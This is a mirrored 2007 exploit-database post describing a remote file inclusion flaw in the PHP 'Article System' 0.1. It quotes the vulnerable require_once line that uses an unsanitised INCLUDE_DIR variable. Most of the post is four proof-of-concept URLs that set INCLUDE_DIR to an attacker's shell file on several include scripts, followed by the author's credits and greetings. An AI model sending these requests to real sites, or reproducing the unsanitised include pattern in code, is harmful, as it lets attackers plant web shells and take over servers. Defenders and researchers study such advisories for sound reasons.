Basic search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15710
HistoryJan 12, 2007 - 12:00 a.m.

Article System 0.1 (INCLUDE_DIR) Remote File Include Vulnerabilities

2007-01-1200:00:00
vulners.com
18

########################################################################################################################
#Script:Article System #
#Affected Version:1.0 #
#Download:http://kent.dl.sourceforge.net/sourceforge/artsys/artsys-0.1-20020705.tar.gz #
########################################################################################################################
#Author:Dr Max Virus #
########################################################################################################################
#Bug in:/[path]/include #
#Vul Code; #
#require_once ("$INCLUDE_DIR/classes/class.form_item.php"); #
########################################################################################################################
#POC: #
#http://[target]/[script_path]/include/forms.php?INCLUDE_DIR=shell.txt? #
#http://[target]/[script_path]/include/issue_edit.php?INCLUDE_DIR=shell.txt? #
#http://[target]/[script_path]/include/client.php?INCLUDE_DIR=shell.txt? #
#http://[target]/[script_path]/include/classes.php?INCLUDE_DIR=shell.txt? #
########################################################################################################################
#Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends #
#Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk #
########################################################################################################################

milw0rm.com [2007-01-11]